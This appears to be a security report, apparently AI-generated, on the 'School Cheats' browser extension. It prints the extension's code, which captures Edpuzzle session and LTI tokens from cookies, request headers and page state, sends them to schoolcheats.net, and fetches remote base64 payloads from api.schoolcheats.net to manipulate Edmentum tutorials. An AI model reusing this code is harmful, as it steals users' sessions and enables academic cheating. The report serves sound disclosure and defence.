Is School Cheats safe?
School Cheats is high risk. Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token. It opens schoolcheats.net/edpuzzle with these as userToken/ltiToken, exposing your session to it.…
Who publishes itschoolcheats.net - no other listings under this identity
schoolcheats.net - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Edpuzzle session cookies sent to schoolcheats.net
Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token.
It opens schoolcheats.net/edpuzzle with these as userToken/ltiToken, exposing your session to it.
What actually happens
You click the Edpuzzle "Launch Cheat" action.
The extension gathers Edpuzzle session credentials and opens schoolcheats.net with those values in the URL.
The fallback path asks the background worker for the token and x-edpuzzle-lti-access-token cookies.
Credential fields placed into the Edpuzzle handoff URL
- Edpuzzle user session tokenuserToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n (illustrative)
This can identify an active Edpuzzle login session for you.
- Edpuzzle LTI access tokenltiToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative)
This can link the browser session to your Edpuzzle classroom launch context.
- Remote destination pathhttps://schoolcheats.net/edpuzzle?userToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n<iToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative)
This is the site that receives the token-bearing URL when the extension opens the handoff page.
Captured request
The extension opens this URL as a browser navigation; no request body is used.
The code that does this
The shipped code paths that collect Edpuzzle credentials and open the handoff URL
Readable token collection flow
content-scripts/content.jsasync function BT(i) { const a = i.indexOf("edpuzzle.com") !== -1, l = {}; if (a) { const u = await NT(); if (u != null && u.userToken && (l.userToken = u.userToken), u != null && u.ltiToken && (l.ltiToken = u.ltiToken), !l.userToken) { const c = await li({ type: "cookie", domain: "edpuzzle.com", name: "token" }); c && (l.userToken = c) } if (!l.ltiToken && UT()) { const c = await li({ type: "cookie", domain: "edpuzzle.com", name: "x-edpuzzle-lti-access-token" }); c && (l.ltiToken = c) } } if (!l.userToken) { const u = await li({ type: "edpToken" }); u != null && u.token && Date.now() - u.ts <= VT && (l.userToken = u.token) } return l }Readable launch action that builds the URL
content-scripts/content.jsconst jT = { id: "edpuzzle", displayName: "Edpuzzle", hostMatches: ["edpuzzle.com"], manifestHosts: ["https://*.edpuzzle.com/*"], detect: i => i.indexOf("edpuzzle.com") !== -1 || sr, detectSession: async () => ({}), actions: [{ id: "launch", label: "Launch Cheat", variant: "primary", run: async ({ host: i }) => { const a = await BT(i); if (!a.userToken) { setTimeout(() => window.alert("[School Cheats] Could not capture an Edpuzzle session token. Make sure you are logged in or that the assignment has loaded, then try again."), 0); return } const l = new URLSearchParams({ userToken: a.userToken }); a.ltiToken && l.set("ltiToken", a.ltiToken), li({ type: "opener", url: `https://schoolcheats.net/edpuzzle?${l.toString()}` }) } }] };Readable background handlers for cookies and tab opening
background.jsfunction I(t, a) { return new Promise(l => { chrome.cookies.getAll({ domain: t }, o => { const c = o == null ? void 0 : o.find(A => A.name === a); l((c == null ? void 0 : c.value) ?? null) }) }) } const E = "edp_token_", O = "*://*.edpuzzle.com/api/v3/users/lti/me*", j = F(() => { const t = new Set; chrome.webRequest.onBeforeSendHeaders.addListener(a => { var A, f; if (a.tabId < 0) return; const l = (f = (A = a.requestHeaders) == null ? void 0 : A.find(h => h.name.toLowerCase() === "authorization")) == null ? void 0 : f.value; if (!l) return; const o = l.replace(/^Bearer\s+/i, ""), c = `${E}${a.tabId}`; chrome.storage.session.set({ [c]: { token: o, ts: Date.now() } }), chrome.tabs.sendMessage(a.tabId, { type: "edpDetected" }).catch(() => {}) }, { urls: [O] }, ["requestHeaders", "extraHeaders"]), chrome.tabs.onRemoved.addListener(a => { chrome.storage.session.remove(`${E}${a}`) }), q({ opener: a => { t.has(a.url) || (t.add(a.url), chrome.tabs.create({ url: a.url, active: !0 }), setTimeout(() => t.delete(a.url), 1e4)) }, cookie: async (a, l, o) => { o(await I(a.domain, a.name)) }, edpToken: async (a, l, o) => { var h; const c = (h = l.tab) == null ? void 0 : h.id; if (c == null) { o(null); return } const A = `${E}${c}`, f = await chrome.storage.session.get(A); o((f == null ? void 0 : f[A]) ?? null) } }) });Readable injected reader for Edpuzzle page state
edp-listener.jsconst y = w(() => { const e = window; if (e.__sc_edp_listener) return; e.__sc_edp_listener = !0; const l = "a8x2", _ = "q9z3", b = "s4w8"; function g() { var o, r, u; try { const a = Object.keys(e).find(n => n.indexOf("webpackChunk") === 0 && n.indexOf("edpuzzle_client_web") !== -1); if (!a || !e[a]) return null; const p = e[a], d = p.push([ [Symbol()], {}, n => n ]); p.pop(); let i; try { i = d("./app_react/modules/store.js") } catch { i = Object.values(d.m).map(n => { try { return d(n) } catch { return null } }).find(n => { const f = n && Object.values(n)[0]; return f && typeof f.getState == "function" }) } if (!i) return null; const c = Object.values(i)[0], t = (o = c == null ? void 0 : c.getState) == null ? void 0 : o.call(c); return t ? { userToken: (r = t == null ? void 0 : t.user) == null ? void 0 : r.authToken, ltiToken: (u = t == null ? void 0 : t.lti_learning2) == null ? void 0 : u.ltiAccessToken } : null } catch { return null } } window.addEventListener("message", o => { const r = o.data; if (!r || r.source !== l || r.type !== _) return; const u = g(); try { (o.source || window).postMessage({ source: l, type: b, tokens: u }, "*") } catch {} }) })Remote host that receives the Edpuzzle token URL
- schoolcheats.net
Receives the /edpuzzle navigation URL containing userToken and, when present, ltiToken query parameters.
Skip Tutorial runs remote Edmentum payloads
Clicking Skip Tutorial on Edmentum makes the extension read its stored key, fetch a payload from api.schoolcheats.net, base64-decode each string, and pass them to a page script as Angular service/property/method names to change it.
What actually happens
You click Skip Tutorial while using an Edmentum tutorial page.
The action is gated on a saved School Cheats product key.
The extension requests server-supplied instructions, decodes them, and runs them through the page's Angular runtime.
The decoded strings select service, property, counter, and method names used by the injected script.
Concrete values used by the Skip Tutorial payload flow
- Saved product keySCH-9K4Q-7J2M (illustrative)
This identifies the School Cheats entitlement used for your request. The extension appends it to the payload URL before contacting the API.
- Downloaded instruction stringspayload[0] through payload[5], decoded from base64
These strings tell the injected page script which tutorial service, properties, and methods to use.
- Edmentum page runtimeAngular service selected from document.body
The decoded instructions run inside the page you're viewing, letting the extension's injected script change the tutorial state.
Captured request
JSON response expected to contain a payload array of base64-encoded strings.
The code that does this
The content script fetches and decodes the remote payload before posting it to edm-auto.js
Readable HT() in content-scripts/content.js
content-scripts/content.jsasync function HT() { const i = await new Promise(c => chrome.storage.local.get(["sc_key"], h => c(h))), a = i == null ? void 0 : i.sc_key; if (!a) { setTimeout(() => window.alert("[School Cheats] No active key. Add one in Settings first."), 0); return } let l; try { const h = await (await fetch(`https://api.schoolcheats.net/v1/edmentum/t-payload?key=${encodeURIComponent(a)}`)).json(); if (h.error || !Array.isArray(h.payload)) { setTimeout(() => window.alert(`[School Cheats] ${h.message||"Authorization failed"}`), 0); return } l = h.payload.map(f => atob(f)) } catch (c) { setTimeout(() => window.alert(`[School Cheats] Network error: ${(c==null?void 0:c.message)??c}`), 0); return } const u = await km({ source: "a8x2", type: "b2t6", trigger: async () => { const c = h => { if (h.source !== window) return; const f = h.data; (f == null ? void 0 : f.source) !== "a8x2" || (f == null ? void 0 : f.type) !== "k7m3" || (window.removeEventListener("message", c), window.postMessage({ source: "a8x2", type: "n5p9", p: l }, "*")) }; window.addEventListener("message", c), await Uu("/edm-auto.js", { keepInDom: !1 }) } }); u.ok || setTimeout(() => window.alert(`[School Cheats] Skip tutorial failed: ${u.error}`), 0)}The code that does this
The injected script consumes decoded payload slots as Angular service and method names
Readable edm-auto.js
edm-auto.jsvar edmAuto = (function() { "use strict"; function f(t) { return t == null || typeof t == "function" ? { main: t } : t } const w = f(() => { const t = "a8x2", i = "k7m3", m = "n5p9", y = "b2t6"; function s(n, e) { window.postMessage({ source: t, type: y, ok: n, error: e }, "*") } function p(n) { var u, a, d; const e = window, o = (d = (a = (u = e.angular) == null ? void 0 : u.element(document.body)) == null ? void 0 : a.injector()) == null ? void 0 : d.get(n[0]); if (!o) return s(!1, "Tutorial not found, open a tutorial first"); const h = o[n[5]] || 0; for (let l = 0; l < h; l++) { const b = e.angular.element(document.body).injector(); b.get(n[0])[n[1]] = !0, o[n[2]][n[3]]() } o[n[4]](), s(!0) } const c = n => { if (n.source !== window) return; const e = n.data; if (!(!e || e.source !== t || e.type !== m)) { window.removeEventListener("message", c); try { p(e.p) } catch (o) { s(!1, String((o == null ? void 0 : o.message) ?? o)) } } }; window.addEventListener("message", c), window.postMessage({ source: t, type: i }, "*") }); function E() {} function r(t, ...i) {} const g = { debug: (...t) => r(console.debug, ...t), log: (...t) => r(console.log, ...t), warn: (...t) => r(console.warn, ...t), error: (...t) => r(console.error, ...t) }; return (async () => { try { return await w.main() } catch (t) { throw g.error('The unlisted script "edm-auto" crashed on startup!', t), t } })()})();edmAuto;External host used by this feature
- api.schoolcheats.net
Receives the product key in the t-payload query string and returns the base64-encoded Edmentum payload array.
